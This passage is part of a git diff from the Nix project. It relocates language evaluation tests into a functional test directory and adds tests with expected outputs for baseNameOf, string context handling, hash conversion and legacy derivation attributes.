tests/functional/lang/eval-okay-backslash-newline-2.nix diff --git a/tests/functional/lang/eval-okay-baseNameOf.exp b/tests/functional/lang/eval-okay-baseNameOf.exp new file mode 100644 index 000000000..52c33a57c --- /dev/null +++ b/tests/functional/lang/eval-okay-baseNameOf.exp @@ -0,0 +1 @@ +"ok" diff --git a/tests/functional/lang/eval-okay-baseNameOf.nix b/tests/functional/lang/eval-okay-baseNameOf.nix new file mode 100644 index 000000000..a7afdd896 --- /dev/null +++ b/tests/functional/lang/eval-okay-baseNameOf.nix @@ -0,0 +1,32 @@ +assert baseNameOf "" == ""; +assert baseNameOf "." == "."; +assert baseNameOf ".." == ".."; +assert baseNameOf "a" == "a"; +assert baseNameOf "a." == "a."; +assert baseNameOf "a.." == "a.."; +assert baseNameOf "a.b" == "a.b"; +assert baseNameOf "a.b." == "a.b."; +assert baseNameOf "a.b.." == "a.b.."; +assert baseNameOf "a/" == "a"; +assert baseNameOf "a/." == "."; +assert baseNameOf "a/.." == ".."; +assert baseNameOf "a/b" == "b"; +assert baseNameOf "a/b." == "b."; +assert baseNameOf "a/b.." == "b.."; +assert baseNameOf "a/b/c" == "c"; +assert baseNameOf "a/b/c." == "c."; +assert baseNameOf "a/b/c.." == "c.."; +assert baseNameOf "a/b/c/d" == "d"; +assert baseNameOf "a/b/c/d." == "d."; +assert baseNameOf "a\\b" == "a\\b"; +assert baseNameOf "C:a" == "C:a"; +assert baseNameOf "a//b" == "b"; + +# It's been like this for close to a decade. We ought to commit to it. +# https://github.com/NixOS/nix/pull/582#issuecomment-121014450 +assert baseNameOf "a//" == ""; + +assert baseNameOf ./foo == "foo"; +assert baseNameOf ./foo/bar == "bar"; + +"ok" diff --git a/tests/lang/eval-okay-builtins-add.exp b/tests/functional/lang/eval-okay-builtins-add.exp similarity index 100% rename from tests/lang/eval-okay-builtins-add.exp rename to tests/functional/lang/eval-okay-builtins-add.exp diff --git a/tests/lang/eval-okay-builtins-add.nix b/tests/functional/lang/eval-okay-builtins-add.nix similarity index 100% rename from tests/lang/eval-okay-builtins-add.nix rename to tests/functional/lang/eval-okay-builtins-add.nix diff --git a/tests/lang/eval-okay-builtins.exp b/tests/functional/lang/eval-okay-builtins.exp similarity index 100% rename from tests/lang/eval-okay-builtins.exp rename to tests/functional/lang/eval-okay-builtins.exp diff --git a/tests/lang/eval-okay-builtins.nix b/tests/functional/lang/eval-okay-builtins.nix similarity index 100% rename from tests/lang/eval-okay-builtins.nix rename to tests/functional/lang/eval-okay-builtins.nix diff --git a/tests/lang/eval-okay-callable-attrs.exp b/tests/functional/lang/eval-okay-callable-attrs.exp similarity index 100% rename from tests/lang/eval-okay-callable-attrs.exp rename to tests/functional/lang/eval-okay-callable-attrs.exp diff --git a/tests/lang/eval-okay-callable-attrs.nix b/tests/functional/lang/eval-okay-callable-attrs.nix similarity index 100% rename from tests/lang/eval-okay-callable-attrs.nix rename to tests/functional/lang/eval-okay-callable-attrs.nix diff --git a/tests/lang/eval-okay-catattrs.exp b/tests/functional/lang/eval-okay-catattrs.exp similarity index 100% rename from tests/lang/eval-okay-catattrs.exp rename to tests/functional/lang/eval-okay-catattrs.exp diff --git a/tests/lang/eval-okay-catattrs.nix b/tests/functional/lang/eval-okay-catattrs.nix similarity index 100% rename from tests/lang/eval-okay-catattrs.nix rename to tests/functional/lang/eval-okay-catattrs.nix diff --git a/tests/lang/eval-okay-closure.exp b/tests/functional/lang/eval-okay-closure.exp similarity index 100% rename from tests/lang/eval-okay-closure.exp rename to tests/functional/lang/eval-okay-closure.exp diff --git a/tests/lang/eval-okay-closure.exp.xml b/tests/functional/lang/eval-okay-closure.exp.xml similarity index 100% rename from tests/lang/eval-okay-closure.exp.xml rename to tests/functional/lang/eval-okay-closure.exp.xml diff --git a/tests/lang/eval-okay-closure.nix b/tests/functional/lang/eval-okay-closure.nix similarity index 100% rename from tests/lang/eval-okay-closure.nix rename to tests/functional/lang/eval-okay-closure.nix diff --git a/tests/lang/eval-okay-comments.exp b/tests/functional/lang/eval-okay-comments.exp similarity index 100% rename from tests/lang/eval-okay-comments.exp rename to tests/functional/lang/eval-okay-comments.exp diff --git a/tests/lang/eval-okay-comments.nix b/tests/functional/lang/eval-okay-comments.nix similarity index 100% rename from tests/lang/eval-okay-comments.nix rename to tests/functional/lang/eval-okay-comments.nix diff --git a/tests/lang/eval-okay-concat.exp b/tests/functional/lang/eval-okay-concat.exp similarity index 100% rename from tests/lang/eval-okay-concat.exp rename to tests/functional/lang/eval-okay-concat.exp diff --git a/tests/lang/eval-okay-concat.nix b/tests/functional/lang/eval-okay-concat.nix similarity index 100% rename from tests/lang/eval-okay-concat.nix rename to tests/functional/lang/eval-okay-concat.nix diff --git a/tests/lang/eval-okay-concatmap.exp b/tests/functional/lang/eval-okay-concatmap.exp similarity index 100% rename from tests/lang/eval-okay-concatmap.exp rename to tests/functional/lang/eval-okay-concatmap.exp diff --git a/tests/lang/eval-okay-concatmap.nix b/tests/functional/lang/eval-okay-concatmap.nix similarity index 100% rename from tests/lang/eval-okay-concatmap.nix rename to tests/functional/lang/eval-okay-concatmap.nix diff --git a/tests/lang/eval-okay-concatstringssep.exp b/tests/functional/lang/eval-okay-concatstringssep.exp similarity index 100% rename from tests/lang/eval-okay-concatstringssep.exp rename to tests/functional/lang/eval-okay-concatstringssep.exp diff --git a/tests/lang/eval-okay-concatstringssep.nix b/tests/functional/lang/eval-okay-concatstringssep.nix similarity index 100% rename from tests/lang/eval-okay-concatstringssep.nix rename to tests/functional/lang/eval-okay-concatstringssep.nix diff --git a/tests/functional/lang/eval-okay-context-introspection.exp b/tests/functional/lang/eval-okay-context-introspection.exp new file mode 100644 index 000000000..a136b0035 --- /dev/null +++ b/tests/functional/lang/eval-okay-context-introspection.exp @@ -0,0 +1 @@ +[ true true true true true true true true true true true true true ] diff --git a/tests/functional/lang/eval-okay-context-introspection.nix b/tests/functional/lang/eval-okay-context-introspection.nix new file mode 100644 index 000000000..8886cf32e --- /dev/null +++ b/tests/functional/lang/eval-okay-context-introspection.nix @@ -0,0 +1,59 @@ +let + drv = derivation { + name = "fail"; + builder = "/bin/false"; + system = "x86_64-linux"; + outputs = [ "out" "foo" ]; + }; + + path = "${./eval-okay-context-introspection.nix}"; + + desired-context = { + "${builtins.unsafeDiscardStringContext path}" = { + path = true; + }; + "${builtins.unsafeDiscardStringContext drv.drvPath}" = { + outputs = [ "foo" "out" ]; + allOutputs = true; + }; + }; + + combo-path = "${path}${drv.outPath}${drv.foo.outPath}${drv.drvPath}"; + legit-context = builtins.getContext combo-path; + + reconstructed-path = builtins.appendContext + (builtins.unsafeDiscardStringContext combo-path) + desired-context; + + # Eta rule for strings with context. + etaRule = str: + str == builtins.appendContext + (builtins.unsafeDiscardStringContext str) + (builtins.getContext str); + + # Only holds true if string context contains both a `DrvDeep` and + # `Opaque` element. + almostEtaRule = str: + str == builtins.addDrvOutputDependencies + (builtins.unsafeDiscardOutputDependency str); + + addDrvOutputDependencies_idempotent = str: + builtins.addDrvOutputDependencies str == + builtins.addDrvOutputDependencies (builtins.addDrvOutputDependencies str); + + rules = str: [ + (etaRule str) + (almostEtaRule str) + (addDrvOutputDependencies_idempotent str) + ]; + +in [ + (legit-context == desired-context) + (reconstructed-path == combo-path) + (etaRule "foo") + (etaRule drv.foo.outPath) +] ++ builtins.concatMap rules [ + drv.drvPath + (builtins.addDrvOutputDependencies drv.drvPath) + (builtins.unsafeDiscardOutputDependency drv.drvPath) +] diff --git a/tests/lang/eval-okay-context.exp b/tests/functional/lang/eval-okay-context.exp similarity index 100% rename from tests/lang/eval-okay-context.exp rename to tests/functional/lang/eval-okay-context.exp diff --git a/tests/lang/eval-okay-context.nix b/tests/functional/lang/eval-okay-context.nix similarity index 100% rename from tests/lang/eval-okay-context.nix rename to tests/functional/lang/eval-okay-context.nix diff --git a/tests/functional/lang/eval-okay-convertHash.err.exp b/tests/functional/lang/eval-okay-convertHash.err.exp new file mode 100644 index 000000000..41d746725 --- /dev/null +++ b/tests/functional/lang/eval-okay-convertHash.err.exp @@ -0,0 +1,108 @@ +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". +warning: "base32" is a deprecated alias for hash format "nix32". diff --git a/tests/functional/lang/eval-okay-convertHash.exp b/tests/functional/lang/eval-okay-convertHash.exp new file mode 100644 index 000000000..16b0240e5 --- /dev/null +++ b/tests/functional/lang/eval-okay-convertHash.exp @@ -0,0 +1 @@ +{ hashesBase16 = [ "d41d8cd98f00b204e9800998ecf8427e" "6c69ee7f211c640419d5366cc076ae46" "bb3438fbabd460ea6dbd27d153e2233b" "da39a3ee5e6b4b0d3255bfef95601890afd80709" "cd54e8568c1b37cf1e5badb0779bcbf382212189" "6d12e10b1d331dad210e47fd25d4f260802b7e77" "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" "900a4469df00ccbfd0c145c6d1e4b7953dd0afafadd7534e3a4019e8d38fc663" "ad0387b3bd8652f730ca46d25f9c170af0fd589f42e7f23f5a9e6412d97d7e56" "cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e" "9d0886f8c6b389398a16257bc79780fab9831c7fc11c8ab07fa732cb7b348feade382f92617c9c5305fefba0af02ab5fd39a587d330997ff5bd0db19f7666653" "21644b72aa259e5a588cd3afbafb1d4310f4889680f6c83b9d531596a5a284f34dbebff409d23bcc86aee6bad10c891606f075c6f4755cb536da27db5693f3a7" ]; hashesBase32 = [ "3y8bwfr609h3lh9ch0izcqq7fl" "26mrvc0v1nslch8r0w45zywsbc" "1v4gi57l97pmnylq6lmgxkhd5v" "143xibwh31h9bvxzalr0sjvbbvpa6ffs" "i4hj30pkrfdpgc5dbcgcydqviibfhm6d" "fxz2p030yba2bza71qhss79k3l5y24kd" "0mdqa9w1p6cmli6976v4wi0sw9r4p5prkj7lzfd1877wk11c9c73" "0qy6iz9yh6a079757mxdmypx0gcmnzjd3ij5q78bzk00vxll82lh" "0mkygpci4r4yb8zz5rs2kxcgvw0a2yf5zlj6r8qgfll6pnrqf0xd" "0zdl9zrg8r3i9c1g90lgg9ip5ijzv3yhz91i0zzn3r8ap9ws784gkp9dk9j3aglhgf1amqb0pj21mh7h1nxcl18akqvvf7ggqsy30yg" "19ncrpp37dx0nzzjw4k6zaqkb9mzaq2myhgpzh5aff7qqcj5wwdxslg6ixwncm7gyq8l761gwf87fgsh2bwfyr52s53k2dkqvw8c24x" "2kz74snvckxldmmbisz9ikmy031d28cs6xfdbl6rhxx42glpyz4vww4lajrc5akklxwixl0js4g84233pxvmbykiic5m7i5m9r4nr11" ]; hashesBase64 = [ "1B2M2Y8AsgTpgAmY7PhCfg==" "bGnufyEcZAQZ1TZswHauRg==" "uzQ4+6vUYOptvSfRU+IjOw==" "2jmj7l5rSw0yVb/vlWAYkK/YBwk=" "zVToVowbN88eW62wd5vL84IhIYk=" "bRLhCx0zHa0hDkf9JdTyYIArfnc=" "47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=" "kApEad8AzL/QwUXG0eS3lT3Qr6+t11NOOkAZ6NOPxmM=" "rQOHs72GUvcwykbSX5wXCvD9WJ9C5/I/Wp5kEtl9flY=" "z4PhNX7vuL3xVChQ1m2AB9Yg5AULVxXcg/SpIdNs6c5H0NE8XYXysP+DGNKHfuwvY7kxvUdBeoGlODJ6+SfaPg==" "nQiG+MaziTmKFiV7x5eA+rmDHH/BHIqwf6cyy3s0j+reOC+SYXycUwX++6CvAqtf05pYfTMJl/9b0NsZ92ZmUw==" "IWRLcqolnlpYjNOvuvsdQxD0iJaA9sg7nVMVlqWihPNNvr/0CdI7zIau5rrRDIkWBvB1xvR1XLU22ifbVpPzpw==" ]; hashesNix32 = [ "3y8bwfr609h3lh9ch0izcqq7fl" "26mrvc0v1nslch8r0w45zywsbc" "1v4gi57l97pmnylq6lmgxkhd5v" "143xibwh31h9bvxzalr0sjvbbvpa6ffs" "i4hj30pkrfdpgc5dbcgcydqviibfhm6d" "fxz2p030yba2bza71qhss79k3l5y24kd" "0mdqa9w1p6cmli6976v4wi0sw9r4p5prkj7lzfd1877wk11c9c73" "0qy6iz9yh6a079757mxdmypx0gcmnzjd3ij5q78bzk00vxll82lh" "0mkygpci4r4yb8zz5rs2kxcgvw0a2yf5zlj6r8qgfll6pnrqf0xd" "0zdl9zrg8r3i9c1g90lgg9ip5ijzv3yhz91i0zzn3r8ap9ws784gkp9dk9j3aglhgf1amqb0pj21mh7h1nxcl18akqvvf7ggqsy30yg" "19ncrpp37dx0nzzjw4k6zaqkb9mzaq2myhgpzh5aff7qqcj5wwdxslg6ixwncm7gyq8l761gwf87fgsh2bwfyr52s53k2dkqvw8c24x" "2kz74snvckxldmmbisz9ikmy031d28cs6xfdbl6rhxx42glpyz4vww4lajrc5akklxwixl0js4g84233pxvmbykiic5m7i5m9r4nr11" ]; hashesSRI = [ "md5-1B2M2Y8AsgTpgAmY7PhCfg==" "md5-bGnufyEcZAQZ1TZswHauRg==" "md5-uzQ4+6vUYOptvSfRU+IjOw==" "sha1-2jmj7l5rSw0yVb/vlWAYkK/YBwk=" "sha1-zVToVowbN88eW62wd5vL84IhIYk=" "sha1-bRLhCx0zHa0hDkf9JdTyYIArfnc=" "sha256-47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=" "sha256-kApEad8AzL/QwUXG0eS3lT3Qr6+t11NOOkAZ6NOPxmM=" "sha256-rQOHs72GUvcwykbSX5wXCvD9WJ9C5/I/Wp5kEtl9flY=" "sha512-z4PhNX7vuL3xVChQ1m2AB9Yg5AULVxXcg/SpIdNs6c5H0NE8XYXysP+DGNKHfuwvY7kxvUdBeoGlODJ6+SfaPg==" "sha512-nQiG+MaziTmKFiV7x5eA+rmDHH/BHIqwf6cyy3s0j+reOC+SYXycUwX++6CvAqtf05pYfTMJl/9b0NsZ92ZmUw==" "sha512-IWRLcqolnlpYjNOvuvsdQxD0iJaA9sg7nVMVlqWihPNNvr/0CdI7zIau5rrRDIkWBvB1xvR1XLU22ifbVpPzpw==" ]; } diff --git a/tests/functional/lang/eval-okay-convertHash.nix b/tests/functional/lang/eval-okay-convertHash.nix new file mode 100644 index 000000000..a0191ee8d --- /dev/null +++ b/tests/functional/lang/eval-okay-convertHash.nix @@ -0,0 +1,33 @@ +let + hashAlgos = [ "md5" "md5" "md5" "sha1" "sha1" "sha1" "sha256" "sha256" "sha256" "sha512" "sha512" "sha512" ]; + hashesBase16 = import ./eval-okay-hashstring.exp; + map2 = f: { fsts, snds }: if fsts == [ ] then [ ] else [ (f (builtins.head fsts) (builtins.head snds)) ] ++ map2 f { fsts = builtins.tail fsts; snds = builtins.tail snds; }; + map2' = f: fsts: snds: map2 f { inherit fsts snds; }; + getOutputHashes = hashes: { + hashesBase16 = map2' (hashAlgo: hash: builtins.convertHash { inherit hash hashAlgo; toHashFormat = "base16";}) hashAlgos hashes; + hashesNix32 = map2' (hashAlgo: hash: builtins.convertHash { inherit hash hashAlgo; toHashFormat = "nix32";}) hashAlgos hashes; + hashesBase32 = map2' (hashAlgo: hash: builtins.convertHash { inherit hash hashAlgo; toHashFormat = "base32";}) hashAlgos hashes; + hashesBase64 = map2' (hashAlgo: hash: builtins.convertHash { inherit hash hashAlgo; toHashFormat = "base64";}) hashAlgos hashes; + hashesSRI = map2' (hashAlgo: hash: builtins.convertHash { inherit hash hashAlgo; toHashFormat = "sri" ;}) hashAlgos hashes; + }; + getOutputHashesColon = hashes: { + hashesBase16 = map2' (hashAlgo: hashBody: builtins.convertHash { hash = hashAlgo + ":" + hashBody; toHashFormat = "base16";}) hashAlgos hashes; + hashesNix32 = map2' (hashAlgo: hashBody: builtins.convertHash { hash = hashAlgo + ":" + hashBody; toHashFormat = "nix32";}) hashAlgos hashes; + hashesBase32 = map2' (hashAlgo: hashBody: builtins.convertHash { hash = hashAlgo + ":" + hashBody; toHashFormat = "base32";}) hashAlgos hashes; + hashesBase64 = map2' (hashAlgo: hashBody: builtins.convertHash { hash = hashAlgo + ":" + hashBody; toHashFormat = "base64";}) hashAlgos hashes; + hashesSRI = map2' (hashAlgo: hashBody: builtins.convertHash { hash = hashAlgo + ":" + hashBody; toHashFormat = "sri" ;}) hashAlgos hashes; + }; + outputHashes = getOutputHashes hashesBase16; +in +# map2'` +assert map2' (s1: s2: s1 + s2) [ "a" "b" ] [ "c" "d" ] == [ "ac" "bd" ]; +# hashesBase16 +assert outputHashes.hashesBase16 == hashesBase16; +# standard SRI hashes +assert outputHashes.hashesSRI == (map2' (hashAlgo: hashBody: hashAlgo + "-" + hashBody) hashAlgos outputHashes.hashesBase64); +# without prefix +assert builtins.all (x: getOutputHashes x == outputHashes) (builtins.attrValues outputHashes); +# colon-separated. +# Note that colon prefix must not be applied to the standard SRI. e.g. "sha256:sha256-..." is illegal. +assert builtins.all (x: getOutputHashesColon x == outputHashes) (with outputHashes; [ hashesBase16 hashesBase32 hashesBase64 ]); +outputHashes diff --git a/tests/lang/eval-okay-curpos.exp b/tests/functional/lang/eval-okay-curpos.exp similarity index 100% rename from tests/lang/eval-okay-curpos.exp rename to tests/functional/lang/eval-okay-curpos.exp diff --git a/tests/lang/eval-okay-curpos.nix b/tests/functional/lang/eval-okay-curpos.nix similarity index 100% rename from tests/lang/eval-okay-curpos.nix rename to tests/functional/lang/eval-okay-curpos.nix diff --git a/tests/lang/eval-okay-deepseq.exp b/tests/functional/lang/eval-okay-deepseq.exp similarity index 100% rename from tests/lang/eval-okay-deepseq.exp rename to tests/functional/lang/eval-okay-deepseq.exp diff --git a/tests/lang/eval-okay-deepseq.nix b/tests/functional/lang/eval-okay-deepseq.nix similarity index 100% rename from tests/lang/eval-okay-deepseq.nix rename to tests/functional/lang/eval-okay-deepseq.nix diff --git a/tests/lang/eval-okay-delayed-with-inherit.exp b/tests/functional/lang/eval-okay-delayed-with-inherit.exp similarity index 100% rename from tests/lang/eval-okay-delayed-with-inherit.exp rename to tests/functional/lang/eval-okay-delayed-with-inherit.exp diff --git a/tests/lang/eval-okay-delayed-with-inherit.nix b/tests/functional/lang/eval-okay-delayed-with-inherit.nix similarity index 100% rename from tests/lang/eval-okay-delayed-with-inherit.nix rename to tests/functional/lang/eval-okay-delayed-with-inherit.nix diff --git a/tests/lang/eval-okay-delayed-with.exp b/tests/functional/lang/eval-okay-delayed-with.exp similarity index 100% rename from tests/lang/eval-okay-delayed-with.exp rename to tests/functional/lang/eval-okay-delayed-with.exp diff --git a/tests/lang/eval-okay-delayed-with.nix b/tests/functional/lang/eval-okay-delayed-with.nix similarity index 100% rename from tests/lang/eval-okay-delayed-with.nix rename to tests/functional/lang/eval-okay-delayed-with.nix diff --git a/tests/functional/lang/eval-okay-derivation-legacy.err.exp b/tests/functional/lang/eval-okay-derivation-legacy.err.exp new file mode 100644 index 000000000..94f0854dd --- /dev/null +++ b/tests/functional/lang/eval-okay-derivation-legacy.err.exp @@ -0,0 +1,6 @@ +warning: In a derivation named 'eval-okay-derivation-legacy', 'structuredAttrs' disables the effect of the derivation attribute 'allowedReferences'; use 'outputChecks..allowedReferences' instead +warning: In a derivation named 'eval-okay-derivation-legacy', 'structuredAttrs' disables the effect of the derivation attribute 'allowedRequisites'; use 'outputChecks..allowedRequisites' instead +warning: In a derivation named 'eval-okay-derivation-legacy', 'structuredAttrs' disables the effect of the derivation attribute 'disallowedReferences'; use 'outputChecks..disallowedReferences' instead +warning: In a derivation named 'eval-okay-derivation-legacy', 'structuredAttrs' disables the effect of the derivation attribute 'disallowedRequisites'; use 'outputChecks..disallowedRequisites' instead +warning: In a derivation named 'eval-okay-derivation-legacy', 'structuredAttrs' disables the effect of the derivation attribute 'maxClosureSize'; use 'outputChecks..maxClosureSize' instead +warning: In a derivation named 'eval-okay-derivation-legacy', 'structuredAttrs' disables the effect of the derivation attribute 'maxSize'; use 'outputChecks..maxSize' instead diff --git a/tests/functional/lang/eval-okay-derivation-legacy.exp b/tests/functional/lang/eval-okay-derivation-legacy.exp new file mode 100644 index 000000000..4f374a1aa --- /dev/null +++ b/tests/functional/lang/eval-okay-derivation-legacy.exp @@ -0,0 +1 @@ +"/nix/store/mzgwvrjjir216ra58mwwizi8wj6y9ddr-eval-okay-derivation-legacy" diff --git a/tests/functional/lang/eval-okay-derivation-legacy.nix b/tests/functional/lang/eval-okay-derivation-legacy.nix new file mode 100644 index 000000000..b529cdf90 --- /dev/null +++ b/tests/functional/lang/eval-okay-derivation-legacy.nix @@ -0,0 +1,12 @@ +(builtins.derivationStrict { + name = "eval-okay-derivation-legacy"; + system = "x86_64-linux"; + builder = "/dontcare"; + __structuredAttrs = true; + allowedReferences = [ ]; + disallowedReferences = [ ]; + allowedRequisites = [ ]; + disallowedRequisites = [ ]; + maxSize = 1234; + maxClosureSize = 12345; +}).out diff --git a/tests/lang/eval-okay-dynamic-attrs-2.exp b/tests/functional/lang/eval-okay-dynamic-attrs-2.exp similarity index 100% rename from tests/lang/eval-okay-dynamic-attrs-2.exp rename to tests/functional/lang/eval-okay-dynamic-attrs-2.exp diff --git a/tests/lang/eval-okay-dynamic-attrs-2.nix b/tests/functional/lang/eval-okay-dynamic-attrs-2.nix similarity index 100% rename from tests/lang/eval-okay-dynamic-attrs-2.nix rename to tests/functional/lang/eval-okay-dynamic-attrs-2.nix diff --git a/tests/lang/eval-okay-dynamic-attrs-bare.exp b/tests/functional/lang/eval-okay-dynamic-attrs-bare.exp similarity index 100% rename from tests/lang/eval-okay-dynamic-attrs-bare.exp rename to tests/functional/lang/eval-okay-dynamic-attrs-bare.exp diff --git a/tests/lang/eval-okay-dynamic-attrs-bare.nix b/tests/functional/lang/eval-okay-dynamic-attrs-bare.nix similarity index 100% rename from tests/lang/eval-okay-dynamic-attrs-bare.nix rename to tests/functional/lang/eval-okay-dynamic-attrs-bare.nix diff --git a/tests/lang/eval-okay-dynamic-attrs.exp b/tests/functional/lang/eval-okay-dynamic-attrs.exp similarity index 100% rename from tests/lang/eval-okay-dynamic-attrs.exp rename to tests/functional/lang/eval-okay-dynamic-attrs.exp diff --git a/tests/lang/eval-okay-dynamic-attrs.nix b/tests/functional/lang/eval-okay-dynamic-attrs.nix similarity index 100% rename from tests/lang/eval-okay-dynamic-attrs.nix rename to tests/functional/lang/eval-okay-dynamic-attrs.nix diff --git a/tests/lang/eval-okay-elem.exp b/tests/functional/lang/eval-okay-elem.exp similarity index 100% rename from tests/lang/eval-okay-elem.exp rename to tests/functional/lang/eval-okay-elem.exp diff --git a/tests/lang/eval-okay-elem.nix b/tests/functional/lang/eval-okay-elem.nix similarity index 100% rename from tests/lang/eval-okay-elem.nix rename to tests/functional/lang/eval-okay-elem.nix diff --git a/tests/lang/eval-okay-empty-args.exp b/tests/functional/lang/eval-okay-empty-args.exp similarity index 100% rename from tests/lang/eval-okay-empty-args.exp rename to tests/functional/lang/eval-okay-empty-args.exp diff --git a/tests/lang/eval-okay-empty-args.nix b/tests/functional/lang/eval-okay-empty-args.nix similarity index 100% rename from tests/lang/eval-okay-empty-args.nix rename to tests/functional/lang/eval-okay-empty-args.nix diff --git a/tests/lang/eval-okay-eq-derivations.exp b/tests/functional/lang/eval-okay-eq-derivations.exp similarity index 100% rename from tests/lang/eval-okay-eq-derivations.exp rename to tests/functional/lang/eval-okay-eq-derivations.exp diff --git a/tests/lang/eval-okay-eq-derivations.nix b/tests/functional/lang/eval-okay-eq-derivations.nix similarity index 100% rename from tests/lang/eval-okay-eq-derivations.nix rename to tests/functional/lang/eval-okay-eq-derivations.nix diff --git a/tests/lang/eval-okay-eq.exp b/tests/functional/lang/eval-okay-eq.exp similarity index 100% rename from tests/lang/eval-okay-eq.exp rename to tests/functional/lang/eval-okay-eq.exp diff --git a/tests/lang/eval-okay-eq.nix b/tests/functional/lang/eval-okay-eq.nix similarity index 100% rename from tests/lang/eval-okay-eq.nix rename to tests/functional/lang/eval-okay-eq.nix diff --git a/tests/lang/eval-okay-filter.exp b/tests/functional/lang/eval-okay-filter.exp similarity index 100% rename from tests/lang/eval-okay-filter.exp rename to tests/functional/lang/eval-okay-filter.exp diff --git a/tests/lang/eval-okay-filter.nix b/tests/functional/lang/eval-okay-filter.nix similarity index 100% rename from tests/lang/eval-okay-filter.nix rename to tests/functional/lang/eval-okay-filter.nix diff --git a/tests/functional/lang/eval-okay-flake-ref-to-string.exp 